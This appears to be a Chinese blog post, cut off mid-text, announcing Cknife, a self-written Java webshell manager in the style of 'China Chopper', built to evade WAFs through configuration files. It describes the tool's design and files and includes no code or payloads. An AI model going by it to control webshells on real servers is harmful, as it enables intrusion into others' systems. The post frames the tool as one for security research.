免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!Burp已经成了绿帽子门必不可少的工具，相信大家都装有Java环境，本软件支持1.7+以及所有安装了环境的系统。1.6后续会考虑兼容。 一直都有想写一款真正实用的跨平台类似的菜刀，然后可惜代码是个渣渣一直可望而不可即，后续随着公司业务增多，大多数目标都有WAF，于是就想写一款完全脱离工具，只依靠配置文件的菜刀。顺便当个码农~~~ 前前后后大约花了一个月，除了打飞机的时间基本就在写这货了，这里要感谢@MelodyZX  牛，在我完成大体框架后，帮了我不少大忙，包括完成虚拟终端，非常感谢。程序采用java语言编写，数据库采用了sqlite，本来想使用access，但是在jdk1.8以后移除了该功能，意味不能使用默认环境连接，最终我选择了sqlite，但是体积增加了800多K，程序本身只有100多K，因为引入了连接sqlite的包，后续会删除一些不想关的类来缩小体积。为了给一些爱美玩家使用，特地生成了一个带有大量皮肤的C刀，不过体积肯定也会更大。主程序为Cknife.jar，运行后会生成Cknife.db，以及默认的配置文件Config.ini。 前面说过这是一款完全基于配置文件的菜刀，主程序只是图形的展示，以及数据的发送，我分开了每一个步骤写入到配 ...继续阅读 (7)